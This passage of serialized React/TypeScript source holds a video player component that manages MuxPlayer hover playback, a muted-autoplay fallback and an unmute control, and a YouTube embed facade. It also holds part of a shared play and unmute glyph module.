() => void) => void;\n  } | null>(null);\n  // True while the muted fallback is ALSO a blocked-autoplay state (even muted\n  // play() was rejected — iOS Low Power). Lets the host label its control\n  // \"play\" vs \"unmute\". MUST be state, not a ref: the blocked transition often\n  // lands while `hoverMutedFallback` is already true (a ref write wouldn't\n  // re-run the reporting effect, so hosts would never see blocked: true).\n  const [mutedFallbackBlocked, setMutedFallbackBlocked] = useState(false);\n  // Dev/opt-in hover→'playing' latency metric (see videoPerfDebugEnabled).\n  // One listener at a time — re-entering hover replaces it; hover-leave and\n  // unmount clear it so no stale listener survives across generations.\n  const perfListenerRef = useRef<(() => void) | null>(null);\n  const clearPerfListener = useCallback(() => {\n    if (perfListenerRef.current) {\n      try {\n        hoverPlayerRef.current?.removeEventListener?.('playing', perfListenerRef.current);\n      } catch { /* element already torn down */ }\n      perfListenerRef.current = null;\n    }\n  }, []);\n  useEffect(() => clearPerfListener, [clearPerfListener]);\n  // Tracks whether the pointer is STILL over the player. A fast hover-out\n  // pauses the in-flight play(), which rejects it with AbortError — that must\n  // NOT trigger the muted retry (it would restart playback after the pointer\n  // left, with no visible control to stop it). Only a genuine autoplay-policy\n  // rejection (NotAllowedError) while still hovered retries muted.\n  const hoverActiveRef = useRef(false);\n  // Per-enter generation token: a LATE NotAllowedError from a previous enter\n  // must not fire the muted fallback into a newer (intended-sound) session.\n  const hoverGenerationRef = useRef(0);\n  // This instance's pending activation waiter — pruned on hover-leave,\n  // re-enter, and unmount so pre-activation hovers don't accumulate stale\n  // closures in the module-level set (they'd otherwise setState against\n  // unmounted instances when the first user gesture finally lands).\n  const activationWaiterRef = useRef<(() => void) | null>(null);\n  const clearActivationWaiter = useCallback(() => {\n    if (activationWaiterRef.current) {\n      activationWaiters.delete(activationWaiterRef.current);\n      activationWaiterRef.current = null;\n    }\n  }, []);\n  useEffect(() => clearActivationWaiter, [clearActivationWaiter]);\n  const startHoverPlayback = useCallback(() => {\n    hoverActiveRef.current = true;\n    const generation = ++hoverGenerationRef.current;\n    const el = hoverPlayerRef.current;\n    if (!el) return;\n    if (videoPerfDebugEnabled()) {\n      clearPerfListener();\n      const startedAt = performance.now();\n      const onPlaying = () => {\n        clearPerfListener();\n        // eslint-disable-next-line no-console\n        console.debug('[Video] hover→playing %dms', Math.round(performance.now() - startedAt));\n      };\n      perfListenerRef.current = onPlaying;\n      try { el.addEventListener?.('playing', onPlaying); } catch { /* ignore */ }\n    }\n    try {\n      el.volume = 0.5;\n      if (userHasInteracted) {\n        // Post-activation: unmuted playback is allowed — play with sound,\n        // UNLESS the host holds a standing mute intent. Force-unmuting here\n        // audibly undid an explicit mute on the next hover, while the host's\n        // toggle still rendered \"muted\".\n        // The NotAllowedError guard stays as a belt-and-suspenders fallback;\n        // a fast hover-out's pause() rejects with AbortError and must not\n        // restart playback (name mismatch + cleared hoverActiveRef).\n        el.muted = mutedIntentRef.current;\n        (el.play?.() as Promise<void> | undefined)?.catch?.((err: unknown) => {\n          const name = (err as { name?: string } | null)?.name;\n          if (\n            name === 'NotAllowedError' &&\n            hoverActiveRef.current &&\n            generation === hoverGenerationRef.current\n          ) {\n            try {\n              el.muted = true;\n              (el.play?.() as Promise<void> | undefined)?.catch?.(() => {\n                // Even MUTED playback was rejected (iOS Low Power, Firefox\n                // media.autoplay.default=5, enterprise policy). Report it, or\n                // the host renders a \"Pause\"/\"Unmute\" control over a video\n                // that never started and the first press is a no-op.\n                if (hoverActiveRef.current && generation === hoverGenerationRef.current) {\n                  setMutedFallbackBlocked(true);\n                }\n              });\n              setHoverMutedFallback(true);\n            } catch { /* give up silently */ }\n          }\n        });\n      } else {\n        // Pre-activation: unmuted WOULD be rejected (hover isn't a gesture in\n        // Chrome's activation model) — start muted immediately with no\n        // rejection round-trip, and UNMUTE LIVE the instant the user's first\n        // click/keydown lands anywhere while this hover is still active.\n        el.muted = true;\n        (el.play?.() as Promise<void> | undefined)?.catch?.(() => {\n          // Same as the post-activation retry above: a rejected MUTED play is\n          // \"blocked\", not \"muted\", and the host's control label depends on\n          // the difference.\n          if (hoverActiveRef.current && generation === hoverGenerationRef.current) {\n            setMutedFallbackBlocked(true);\n          }\n        });\n        setHoverMutedFallback(true);\n        clearActivationWaiter();\n        const waiter = () => {\n          activationWaiterRef.current = null;\n          if (hoverActiveRef.current && generation === hoverGenerationRef.current) {\n            try { el.muted = false; el.volume = 0.5; } catch { /* ignore */ }\n            setHoverMutedFallback(false);\n          }\n        };\n        activationWaiterRef.current = waiter;\n        activationWaiters.add(waiter);\n      }\n    } catch { /* ignore */ }\n  }, [clearActivationWaiter, clearPerfListener]);\n  const stopHoverPlayback = useCallback(() => {\n    hoverActiveRef.current = false;\n    setHoverMutedFallback(false);\n    clearActivationWaiter();\n    clearPerfListener();\n    try { hoverPlayerRef.current?.pause?.(); } catch { /* already torn down */ }\n  }, [clearActivationWaiter, clearPerfListener]);\n\n  // Explicit unmute affordance: the click IS the user activation the autoplay\n  // policy wants, so unmuting here always succeeds (and the window-level\n  // activation listener flips the module flag for every other player too).\n  const unmuteNow = useCallback((e: React.MouseEvent) => {\n    e.stopPropagation();\n    e.preventDefault();\n    const el = hoverPlayerRef.current;\n    try {\n      if (el) {\n        el.muted = false;\n        el.volume = 0.5;\n        (el.play?.() as Promise<void> | undefined)?.catch?.(() => {});\n      }\n    } catch { /* ignore */ }\n    setHoverMutedFallback(false);\n  }, []);\n\n  // Controlled hover mode (playWhenHovered): the HOST owns hover detection —\n  // e.g. the bite-strip card, where the detail overlay is part of the card and\n  // must NOT pause playback when the pointer moves onto it.\n  const hoverControlled = typeof playWhenHovered === 'boolean';\n  useEffect(() => {\n    if (!hoverControlled) return;\n    if (playWhenHovered) startHoverPlayback();\n    else stopHoverPlayback();\n  }, [hoverControlled, playWhenHovered, startHoverPlayback, stopHoverPlayback]);\n\n  const handleHoverEnter = playOnHover && !hoverControlled ? startHoverPlayback : undefined;\n  const handleHoverLeave = playOnHover && !hoverControlled ? stopHoverPlayback : undefined;\n\n  // Report muted-fallback transitions to hosts that render their own control\n  // (hideMutedBadge). Emitted on every change to hoverMutedFallback so the\n  // host's card-level unmute/play affordance stays in sync.\n  // Read through a ref, NOT the closure: startHoverPlayback is memoized on\n  // empty-dep callbacks, so it would capture render-0's value forever (that is\n  // why threading the prop through three layers still did nothing). Adding it\n  // to the deps instead would re-run hover playback on every mute toggle and\n  // play() over an explicit pause.\n  const mutedIntentRef = useRef(mutedIntent);\n  mutedIntentRef.current = mutedIntent;\n  const onMutedFallbackChangeRef = useRef(onMutedFallbackChange);\n  onMutedFallbackChangeRef.current = onMutedFallbackChange;\n  useEffect(() => {\n    onMutedFallbackChangeRef.current?.({\n      muted: hoverMutedFallback,\n      blocked: hoverMutedFallback && mutedFallbackBlocked,\n    });\n  }, [hoverMutedFallback, mutedFallbackBlocked]);\n\n  // Autoplay-on-mount for handoff surfaces (theater open / resume card). Runs\n  // once. `autoPlayUnmuted` tries sound (the mount is gesture-adjacent) and\n  // falls back to muted + fallback state on rejection; `startMuted` (used with\n  // MuxPlayer's own muted autoPlay) just arms the fallback state so the host's\n  // unmute control shows from the first frame.\n  const autoPlayKickedRef = useRef(false);\n  useEffect(() => {\n    if (autoPlayKickedRef.current) return;\n    if (startMuted) {\n      // Actually mute the element. Previously this only armed the UI state, so\n      // a paused+muted resume (no autoPlay to carry `muted`) sat unmuted and\n      // the first Play press blasted full volume while every label said muted.\n      const mutedEl = hoverPlayerRef.current;\n      if (!mutedEl) return;   // latch AFTER the ref read — see the branch below\n      autoPlayKickedRef.current = true;\n      try { mutedEl.muted = true; } catch { /* ignore */ }\n      setMutedFallbackBlocked(false);\n      setHoverMutedFallback(true);\n      // When this surface is ALSO autoplaying, MuxPlayer issues its own muted\n      // play() whose rejection we never see. Issue a parallel one purely to\n      // OBSERVE the outcome: a redundant play on an already-playing element is\n      // a no-op, but a rejection is the only signal that the host must render\n      // \"Play\" instead of \"Pause\" over a video that never started.\n      if (autoPlay) {\n        try {\n          (mutedEl.play?.() as Promise<void> | undefined)?.catch?.(() => setMutedFallbackBlocked(true));\n        } catch { setMutedFallbackBlocked(true); }\n      }\n      return;\n    }\n    if (!autoPlayUnmuted) return;\n    const el = hoverPlayerRef.current;\n    // Latch AFTER the ref check: setting it first meant a null player on the\n    // first run burned the one-shot kick with no retry (the deps never change).\n    if (!el) return;\n    autoPlayKickedRef.current = true;\n    try {\n      el.muted = false;\n      el.volume = typeof el.volume === 'number' ? el.volume : 1;\n      (el.play?.() as Promise<void> | undefined)?.catch?.((err: unknown) => {\n        const name = (err as { name?: string } | null)?.name;\n        if (name !== 'NotAllowedError') return;\n        // Unmuted rejected — retry muted; if THAT rejects too, mark blocked.\n        try {\n          el.muted = true;\n          (el.play?.() as Promise<void> | undefined)?.catch?.(() => {\n            setMutedFallbackBlocked(true);\n            setHoverMutedFallback(true);\n          });\n          setMutedFallbackBlocked(false);\n          setHoverMutedFallback(true);\n        } catch {\n          setMutedFallbackBlocked(true);\n          setHoverMutedFallback(true);\n        }\n      });\n    } catch { /* ignore */ }\n  }, [autoPlayUnmuted, startMuted, autoPlay]);\n\n  // volumechange listener — clears the muted-fallback state when the media is\n  // unmuted by ANY path (MuxPlayer's own chrome in the theater, or the host\n  // control). Without this a stale glyph/state can persist after a chrome unmute.\n  useEffect(() => {\n    const el = hoverPlayerRef.current;\n    if (!el?.addEventListener) return;\n    const onVolumeChange = () => {\n      if (el.muted === false) {\n        setMutedFallbackBlocked(false);\n        setHoverMutedFallback(false);\n      }\n    };\n    try { el.addEventListener('volumechange', onVolumeChange); } catch { /* ignore */ }\n    return () => { try { el.removeEventListener?.('volumechange', onVolumeChange); } catch { /* ignore */ } };\n  }, []);\n\n  // `playing` clears the blocked-autoplay flag. Without this, once a muted\n  // retry had been rejected (iOS Low Power) the host's centre glyph read \"Play\"\n  // over a playing video forever — the flag was only cleared by an unmute.\n  useEffect(() => {\n    const el = hoverPlayerRef.current;\n    if (!el?.addEventListener) return;\n    const onPlaying = () => setMutedFallbackBlocked(false);\n    try { el.addEventListener('playing', onPlaying); } catch { /* ignore */ }\n    return () => { try { el.removeEventListener?.('playing', onPlaying); } catch { /* ignore */ } };\n  }, []);\n\n  // ended listener — host clears its handoff (mini-player continuation).\n  const onEndedRef = useRef(onEnded);\n  onEndedRef.current = onEnded;\n  useEffect(() => {\n    const el = hoverPlayerRef.current;\n    if (!el?.addEventListener) return;\n    const handler = () => onEndedRef.current?.();\n    try { el.addEventListener('ended', handler); } catch { /* ignore */ }\n    return () => { try { el.removeEventListener?.('ended', handler); } catch { /* ignore */ } };\n  }, []);\n\n  // In the iOS shell the fullscreen control goes to Apple's video player rather\n  // than to element fullscreen, which WebKit exits by breaking the safe areas.\n  useIosNativeVideoFullscreen(hoverPlayerRef);\n\n  // Imperative handle — snapshot getters + control mutators for handoff.\n  useImperativeHandle(playerHandleRef, (): VideoPlayerHandle => ({\n    getCurrentTime: () => hoverPlayerRef.current?.currentTime ?? 0,\n    getDuration: () => {\n      const d = hoverPlayerRef.current?.duration;\n      return typeof d === 'number' && isFinite(d) ? d : 0;\n    },\n    getPaused: () => hoverPlayerRef.current?.paused ?? true,\n    getMuted: () => hoverPlayerRef.current?.muted ?? false,\n    play: async () => { await hoverPlayerRef.current?.play?.(); },\n    pause: () => { try { hoverPlayerRef.current?.pause?.(); } catch { /* ignore */ } },\n    setMuted: (m: boolean) => {\n      const el = hoverPlayerRef.current;\n      if (!el) return;\n      try {\n        el.muted = m;\n        if (!m) {\n          setMutedFallbackBlocked(false);\n          setHoverMutedFallback(false);\n        }\n      } catch { /* ignore */ }\n    },\n  }), [playerHandleRef]);\n  // Raw SRT text is unusable without a custom overlay — and we just deleted\n  // the 900-LOC custom-controls layer that owned that overlay. Consumers\n  // pass `captionsUrl` (the API-side VTT conversion) alongside `srtContent`\n  // anyway. Warn in dev if the deprecated prop is the only one supplied\n  // so a single-prop call site doesn't silently lose captions.\n  if (process.env.NODE_ENV !== 'production' && srtContent && !captionsUrl) {\n    // eslint-disable-next-line no-console\n    console.warn(\n      '[Video] srtContent supplied without captionsUrl — captions will not render. ' +\n      'Pass captionsUrl (the VTT URL) instead; raw SRT text overlays are no longer supported.',\n    );\n  }\n\n  const player = (\n    <MuxPlayer\n      ref={hoverPlayerRef as React.Ref<never>}\n      src={url}\n      poster={poster || undefined}\n      streamType=\"on-demand\"\n      preload={effectivePreload}\n      playsInline\n      muted={muted}\n      preferCmcd=\"header\"\n      // No `muxData` cookie — the viewer id moves to localStorage and rides in\n      // `metadata` below instead. See the \"Mux viewer identity without a\n      // cookie\" block at the top of this file.\n      disableCookies\n      metadata={{ viewer_user_id: muxViewerId() }}\n      // MuxPlayer's built-in default is `#fa50b5` (Mux brand pink) — when\n      // its `--media-accent-color` resolves to nothing the player falls\n      // through to that hardcoded pink. The `var(--ods-accent,\n      // var(--color-accent-primary))` chain hits the platform-aware\n      // ODS token first, then the semantic accent alias if `--ods-accent`\n      // is ever undefined on a `data-app-type` we haven't themed yet.\n      // NEVER let Mux pink leak onto a non-Flamingo platform.\n      accentColor=\"var(--ods-accent, var(--color-accent-primary))\"\n      // `startMuted` only ARMS the muted-fallback state (so a host can render\n      // its own unmute control); it must not imply autoplay, or a resume that\n      // closed PAUSED would start playing while the toggle still reads \"Play\".\n      autoPlay={autoPlay ? 'muted' : autoPlayUnmuted ? 'any' : undefined}\n      startTime={typeof startTime === 'number' ? startTime : undefined}\n      loop={loop}\n      className={className}\n      // Fill the wrapping aspect-ratio container instead of MuxPlayer's\n      // intrinsic size. Without this, MuxPlayer renders at its default\n      // dimensions before video metadata loads, then grows to its\n      // metadata-derived size — that's the \"starts super small and\n      // flickers and grows\" CLS we're killing. With `aspect-video` on\n      // the centered wrapper and `width/height: 100%` here, the box is\n      // 16:9 from first paint and stays put.\n      // `--controls: none` is media-chrome's kill switch for ALL player\n      // chrome — the chromeless preview mode. `--bottom-controls: none`\n      // hides only the bottom bar (center play/pause stays) — the\n      // bite-strip card look per Figma. Merged (never replacing) into the\n      // sizing style; custom properties need the CSSProperties cast.\n      // `--media-object-fit: cover` is media-chrome's documented object-fit\n      // var — the `fit=\"cover\"` crop for grid cells / mockups.\n      style={{\n        width: '100%',\n        height: '100%',\n        ...(chromeless ? ({ '--controls': 'none' } as React.CSSProperties) : {}),\n        ...(fit === 'cover' ? ({ '--media-object-fit': 'cover' } as React.CSSProperties) : {}),\n      }}\n    >\n      {resolvedCaptionsUrl ? (\n        <track\n          kind=\"captions\"\n          src={resolvedCaptionsUrl}\n          srcLang=\"en\"\n          label=\"English\"\n          default\n        />\n      ) : null}\n    </MuxPlayer>\n  );\n\n  // Center unmute control — shown while hover playback runs muted because the\n  // autoplay policy blocked sound. Best-practice pattern (Mux / FB / IG):\n  // muted autoplay + an explicit unmute affordance, never forced sound.\n  // Styled to match media-chrome's center controls exactly (the play glyph in\n  // the same slot): plain large white glyph, no circle/border/background,\n  // slight dim on hover — so unmute reads as just another center control.\n  const unmuteBadge = hoverMutedFallback && !hideMutedBadge ? (\n    <button\n      type=\"button\"\n      aria-label=\"Unmute\"\n      title=\"Unmute\"\n      onClick={unmuteNow}\n      // White at rest, ACCENT while the icon itself is hovered — the same\n      // hover language as every mux control icon (see app-globals.css).\n      className=\"absolute inset-0 z-10 m-auto flex h-14 w-14 items-center justify-center text-ods-text-primary transition-colors hover:text-ods-accent\"\n    >\n      <VideoUnmuteGlyph />\n    </button>\n  ) : null;\n\n  // MuxPlayerProps has no pointer-event props — the hover-play handlers live\n  // on a full-size wrapper instead (only in UNCONTROLLED playOnHover mode;\n  // controlled playWhenHovered hosts own their hover detection). Either\n  // hover-capable mode gets a relative wrapper so the unmute badge can dock.\n  if (playOnHover && !hoverControlled) {\n    return (\n      <div\n        className=\"relative w-full h-full\"\n        onPointerEnter={handleHoverEnter}\n        onPointerLeave={handleHoverLeave}\n      >\n        {player}\n        {unmuteBadge}\n      </div>\n    );\n  }\n  if (hoverControlled) {\n    return (\n      <div className=\"relative w-full h-full\">\n        {player}\n        {unmuteBadge}\n      </div>\n    );\n  }\n  // Handoff surfaces (autoPlayUnmuted / startMuted) need the relative wrapper so\n  // the internal center unmute badge can dock — the bare branch has none. Hosts\n  // that render their OWN control pass hideMutedBadge (unmuteBadge is null then,\n  // but the wrapper is harmless).\n  if (autoPlayUnmuted || startMuted) {\n    return (\n      <div className=\"relative w-full h-full\">\n        {player}\n        {unmuteBadge}\n      </div>\n    );\n  }\n  return player;\n}\n\n// -----------------------------------------------------------------------------\n// YouTube facade — inlined lite-youtube-embed pattern\n// -----------------------------------------------------------------------------\n\ninterface YouTubeFacadeProps extends VideoYouTubeFacadeProps {\n  url: string;\n  title?: string;\n  priority?: boolean;\n  className?: string;\n  minimalControls?: boolean;\n}\n\nfunction YouTubeFacade({\n  url,\n  title = 'YouTube Video',\n  priority,\n  className,\n  minimalControls,\n  // `...facade` rather than naming each one: this hop is invisible to the\n  // build-time forwarding proof, so a prop added to VideoYouTubeFacadeProps\n  // would reach here and silently stop before Inner.\n  ...facade\n}: YouTubeFacadeProps): React.ReactElement | null {\n  // `extractYouTubeId` handles both bare 11-char ids AND full URLs in a\n  // single call site, so the resolution logic lives in exactly one place.\n  const videoId = extractYouTubeId(url);\n  if (!videoId) return null;\n\n  return <YouTubeFacadeInner videoId={videoId} title={title} priority={priority} className={className} minimalControls={minimalControls} {...facade} />;\n}\n\ninterface YouTubeFacadeInnerProps extends VideoYouTubeFacadeProps {\n  videoId: string;\n  title: string;\n  priority?: boolean;\n  className?: string;\n  minimalControls?: boolean;\n}\n\nconst YT_NOCOOKIE_ORIGIN = 'https://www.youtube-nocookie.com';\n\n// Poster thumbnail tiers, best → always-present. YouTube serves each size at a\n// fixed path on i.ytimg.com. `maxresdefault` is 1280×720 (crisp) but is only\n// generated for uploads whose source was ≥720p, so it can 404; `mqdefault` is\n// 320×180 and ALWAYS exists. BOTH are 16:9 — unlike the letterboxed 4:3 `hq`/`sd`\n// sizes — so an `object-cover` frame never shows black bars regardless of tier.\n// The facade starts at `maxresdefault` and drops to `mqdefault` on load error,\n// so low-res-only videos render exactly as they did before this change.\nconst YT_POSTER_TIERS = ['maxresdefault', 'mqdefault'] as const;\n\n// YouTube IFrame Player API state codes — documented integers.\n// https://developers.google.com/youtube/iframe_api_reference#Playback_status\nconst YT_STATE_ENDED = 0;\nconst YT_STATE_PLAYING = 1;\n\n// Sub-second delay before we blur the iframe after PLAYING. Zero would\n// cancel YouTube's mount-time \"controls visible\" intro flash entirely\n// (jarring); ~1s lets the user briefly see playback started, then we\n// kick YouTube's internal idle timer by removing DOM focus from the\n// iframe. Net result: controls fade ~1s after playback begins,\n// matching the user-locked target.\nconst YT_PLAYING_BLUR_DELAY_MS = 1000;\n\ninterface YouTubeInfoDeliveryMessage {\n  event?: string;\n  info?: { playerState?: number };\n}\n\nfunction YouTubeFacadeInner({\n  videoId,\n  title,\n  priority,\n  className,\n  minimalControls,\n  autoActivate,\n  suspended,\n}: YouTubeFacadeInnerProps): React.ReactElement {\n  const [activated, setActivated] = useState(Boolean(autoActivate));\n  const iframeRef = useRef<HTMLIFrameElement | null>(null);\n\n  // Embed URL + poster URLs only change when `videoId` or `minimalControls`\n  // do — memoize so we don't rebuild URLSearchParams on every render.\n  //\n  // `enablejsapi=1` opens the postMessage state channel we subscribe to\n  // below — without it, YouTube ignores `event:listening` messages and\n  // we can't detect PLAYING / ENDED to drive the auto-hide accelerator.\n  //\n  // `origin=<parent-page-origin>` is REQUIRED when `enablejsapi=1` is set.\n  // Without it, the YouTube widget inside the iframe defaults its\n  // `postMessage` targetOrigin to its OWN origin (`youtube-nocookie.com`)\n  // when emitting state-change events back to the parent. The browser\n  // then drops every message and logs:\n  //   \"Failed to execute 'postMessage' on 'DOMWindow': The target origin\n  //   provided ('https://www.youtube-nocookie.com') does not match the\n  //   recipient window's origin ('https://www.<our-site>')\"\n  // Setting `origin` tells the widget the real parent host so it sends\n  // with the matching targetOrigin. Documented in YouTube's IFrame Player\n  // API reference (developers.google.com/youtube/iframe_api_reference).\n  // SSR-safe: the URL is rebuilt client-side in the same useMemo on\n  // hydration when `window` becomes available; the first SSR pass emits\n  // the URL without `origin` (no jsapi traffic yet — no iframe mounted).\n  const embedUrl = useMemo(() => {\n    const params = new URLSearchParams({\n      autoplay: '1',\n      rel: '0',\n      modestbranding: '1',\n      playsinline: '1',\n      enablejsapi: '1',\n    });\n    if (typeof window !== 'undefined') {\n      params.set('origin', window.location.origin);\n    }\n    if (minimalControls) {\n      params.set('controls', '0');\n      params.set('fs', '0');\n      params.set('iv_load_policy', '3');\n      params.set('cc_load_policy', '0');\n      params.set('disablekb', '1');\n    }\n    return `${YT_NOCOOKIE_ORIGIN}/embed/${videoId}?${params.toString()}`;\n  }, [videoId, minimalControls]);\n\n  // Poster starts at the highest tier and steps down on load error (see\n  // `YT_POSTER_TIERS`). Reset to the top tier whenever the video changes so a\n  // new id gets a fresh shot at its `maxresdefault`.\n  const [posterTier, setPosterTier] = useState(0);\n  useEffect(() => {\n    setPosterTier(0);\n  }, [videoId]);\n  const posterQuality = YT_POSTER_TIERS[posterTier];\n  const posterJpg = `https://i.ytimg.com/vi/${videoId}/${posterQuality}.jpg`;\n  const posterWebp = `https://i.ytimg.com/vi_webp/${videoId}/${posterQuality}.webp`;\n  // On a 404 (e.g. no `maxresdefault`) drop one tier; clamp at the last so a\n  // genuinely missing thumbnail can't loop.\n  const handlePosterError = () => setPosterTier((tier) => Math.min(tier + 1, YT_POSTER_TIERS.length - 1));\n\n  // ---------------------------------------------------------------------------\n  // YouTube control-fade accelerator (user-locked target: ~1s).\n  //\n  // YouTube's native idle timer for the bottom control bar is 5–10s when\n  // the iframe holds DOM focus. The IFrame Player API has no public\n  // `hideControls` command (full `func` list verified — none expose\n  // visibility). The one legal lever from outside the iframe is\n  // `iframe.blur()`, which kicks YouTube into its post-focus idle path\n  // (~2s minimum).\n  //\n  // Subscribe to YouTube's state channel via the documented lite-mode\n  // postMessage handshake — no full `iframe_api.js` library needed:\n  // <https://developers.google.com/youtube/iframe_api_reference>.\n  //\n  //   - PLAYING (1) arrives once autoplay kicks in. Wait ~1s (so the user\n  //     briefly sees that the player started), then blur the iframe so\n  //     YouTube's idle timer fires immediately.\n  //\n  //   - ENDED (0) → tear down the iframe. Playback is already over so\n  //     there's nothing to interrupt, and removing the iframe kills the\n  //     residual \"More videos\" suggestion grid YouTube leaves on screen.\n  //\n  // PAUSED (2) is deliberately unhandled — the user paused on purpose,\n  // leave YouTube's UI alone so they can resume.\n  //\n  // Playback is NEVER stopped by anything in this facade. Outside-click,\n  // Escape, tab-switch — all no-ops. The only state flip is on natural\n  // end-of-video (ENDED).\n  // ---------------------------------------------------------------------------\n  useEffect(() => {\n    if (!activated) return;\n    const iframe = iframeRef.current;\n    if (!iframe) return;\n\n    function subscribe() {\n      iframe?.contentWindow?.postMessage(\n        '{\"event\":\"listening\"}',\n        YT_NOCOOKIE_ORIGIN,\n      );\n    }\n\n    iframe.addEventListener('load', subscribe);\n    subscribe();\n\n    let blurTimer: ReturnType<typeof setTimeout> | null = null;\n\n    function handleMessage(event: MessageEvent) {\n      if (event.origin !== YT_NOCOOKIE_ORIGIN) return;\n      if (typeof event.data !== 'string') return;\n      let payload: YouTubeInfoDeliveryMessage | null = null;\n      try {\n        payload = JSON.parse(event.data);\n      } catch {\n        return;\n      }\n      if (!payload || payload.event !== 'infoDelivery') return;\n      const state = payload.info?.playerState;\n      if (typeof state !== 'number') return;\n\n      if (state === YT_STATE_PLAYING) {\n        if (blurTimer !== null) return;\n        blurTimer = setTimeout(() => {\n          blurTimer = null;\n          iframeRef.current?.blur();\n        }, YT_PLAYING_BLUR_DELAY_MS);\n        return;\n      }\n      if (state === YT_STATE_ENDED) {\n        setActivated(false);\n      }\n    }\n\n    window.addEventListener('message', handleMessage);\n    return () => {\n      iframe.removeEventListener('load', subscribe);\n      window.removeEventListener('message', handleMessage);\n      if (blurTimer !== null) clearTimeout(blurTimer);\n    };\n  }, [activated]);\n\n  // Close-side pause: a closing dialog flips `suspended` false→true. Post the\n  // pauseVideo command over the same enablejsapi channel so the iframe stops\n  // BEFORE the Radix exit animation unmounts it (an unmount-cleanup post would\n  // fire too late). Edge-triggered: only acts on the false→true transition\n  // while activated (prev seeded false, so the initial render never pauses).\n  const prevSuspendedRef = useRef(false);\n  useEffect(() => {\n    const wasSuspended = prevSuspendedRef.current;\n    prevSuspendedRef.current = Boolean(suspended);\n    if (!activated) return;\n    if (suspended && !wasSuspended) {\n      iframeRef.current?.contentWindow?.postMessage(\n        '{\"event\":\"command\",\"func\":\"pauseVideo\",\"args\":[]}',\n        YT_NOCOOKIE_ORIGIN,\n      );\n    }\n  }, [suspended, activated]);\n\n  const wrapperClass = `relative w-full ${className ?? ''}`;\n  const wrapperStyle = { paddingBottom: '56.25%' as const };\n\n  if (activated) {\n    return (\n      <div className={wrapperClass} style={wrapperStyle}>\n        <iframe\n          ref={iframeRef}\n          src={embedUrl}\n          allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\"\n          allowFullScreen\n          // YouTube verifies the embedding domain from the Referer header. When the\n          // host page runs under a strict `Referrer-Policy: no-referrer` (common on\n          // deployed environments behind a gateway/CDN), the iframe would otherwise\n          // inherit it, send no referrer, and YouTube rejects playback with\n          // \"Error 153 — Video player configuration error\". Pin the policy to the\n          // value YouTube's own recommended embed code uses so the origin is always\n          // sent and embedding is authorized.\n          referrerPolicy=\"strict-origin-when-cross-origin\"\n          title={title}\n          className=\"absolute inset-0 w-full h-full border-0 rounded-lg\"\n        />\n      </div>\n    );\n  }\n\n  return (\n    <div className={wrapperClass} style={wrapperStyle}>\n      <button\n        type=\"button\"\n        aria-label={`Play: ${title}`}\n        onClick={() => setActivated(true)}\n        className=\"group absolute inset-0 p-0 m-0 border border-ods-border rounded-lg overflow-hidden bg-ods-card cursor-pointer\"\n      >\n        <picture>\n          <source type=\"image/webp\" srcSet={posterWebp} />\n          <img\n            src={posterJpg}\n            alt={title}\n            loading=\"lazy\"\n            onError={handlePosterError}\n            // React 18 wants lowercase (`fetchpriority` DOM attribute);\n            // React 19 wants camelCase (`fetchPriority` prop). Detect at\n            // module load and spread the right shape so both runtimes\n            // render the DOM attribute cleanly with no console warnings.\n            {...fetchPriorityProp(priority)}\n            decoding={priority ? 'sync' : 'async'}\n            className=\"absolute inset-0 w-full h-full object-cover\"\n          />\n        </picture>\n        <div className=\"absolute inset-0 flex items-center justify-center bg-ods-bg bg-opacity-20 transition-opacity duration-200 group-hover:bg-opacity-30\">\n          {/* THE shared center play badge (video-center-badge.tsx) — same disc\n              as strip cards / carousel thumbs / unmute chip; hero size + the\n              facade's hover-scale affordance. */}\n          <VideoPlayBadge size=\"lg\" className=\"transition-transform duration-200 group-hover:scale-110 group-hover:text-ods-accent\" />\n        </div>\n      </button>\n    </div>\n  );\n}\n","'use client'\n\n/**\n * THE center media glyphs — the single visual identity for every play/unmute\n * affordance over video, across the whole project: a SOLID WHITE GLYPH\n * (`text-ods-text-primary`), NO background disc, with a soft drop-shadow for\n * legibility over arbitrary frames. Accent color appears ONLY while the\n * icon's own control is hovered (hosts pass `group-hover:text-ods-accent`;\n * mux-player controls get the same via `::part(button):hover` in\n * styles/app-globals.css).\n *\n * Glyphs come from THE icon system — never inline SVG paths here:\n * PlayFilledIcon / VolumeOffFilledIcon (components/icons — the FILLED\n * media-chrome-matching glyphs, so custom affordances are pixel-identical to\n * MuxPlayer's native center button on real players).\n *\n * Consumers:\n *   - <VideoBiteCard> resting/paused posters (md)\n *   - <YouTubeFacade> poster (lg)\n *   - <MediaCarousel> video thumbnails (sm)\n *   - <FilePlayer>'s unmute chip (VideoUnmuteGlyph, md)\n *   - MuxPlayer's native center pre-play button is stripped to the same bare\n *     glyph language via CSS (see styles/app-globals.css).\n */\n\nimport React from 'react'\nimport { PlayFilledIcon } from '../icons/play-filled-icon'\nimport { VolumeOffFilledIcon } from '../icons/volume-off-filled-icon'\nimport { cn } from '../../utils/cn'\n\nexport type VideoCenterBadgeSize = 'sm' | 'md' | 'lg'\n\nconst SIZES: Record<VideoCenterBadgeSize, number> = {\n  sm: 20, // gallery thumbnails\n  md: 56, // strip cards + unmute chip\n  lg: 64, // hero facades\n}\n\n/** Soft legibility shadow — NOT a background (per design: bare glyphs). */\nconst GLYPH_SHADOW = 'drop-shadow(0 1px 4px rgba(0,0,0,0.5))'\n\nexport interface VideoPlayBadgeProps {\n  size?: VideoCenterBadgeSize\n  className?: string\n}\n\n/** Bare play glyph (the icon system's PlayIcon). Decorative\n *  (`pointer-events-none`) — the host surface owns activation. */\nexport function VideoPlayBadge({ size = 'md', className }: VideoPlayBadgeProps): React.ReactElement {\n  return (\n    <div\n      className={cn(\n        'pointer-events-none flex items-center justify-center text-ods-text-primary transition-colors',\n        // Accent on card hover. These glyphs are pointer-events-none by design,\n        // so they can never resolve their own :hover — they key off the host\n        // card's `group/card` marker. Living HERE (not at each call site) is\n        // what makes bites, the walkthrough card and every future surface\n        // behave identically from one definition.\n        'group-hover/card:text-ods-accent',\n        className,\n      )}\n      style={{ filter: GLYPH_SHADOW }}\n    >\n      <PlayFilledIcon size={SIZES[size]} color=\"currentColor\" />\n    </div>\n  )\n}\n\nexport interface VideoUnmuteGlyphProps {\n  size?: VideoCenterBadgeSize\n  className?: string\n}\n\n/** Bare muted-volume glyph (the icon system's VolumeOffFilledIcon). Rendered\n *  by FilePlayer's unmute button; exported here so play + unmute share one\n *  identity. */\nexport function VideoUnmuteGlyph({ size = 'md', className }: VideoUnmuteGlyphProps): React.ReactElement {\n  return (\n    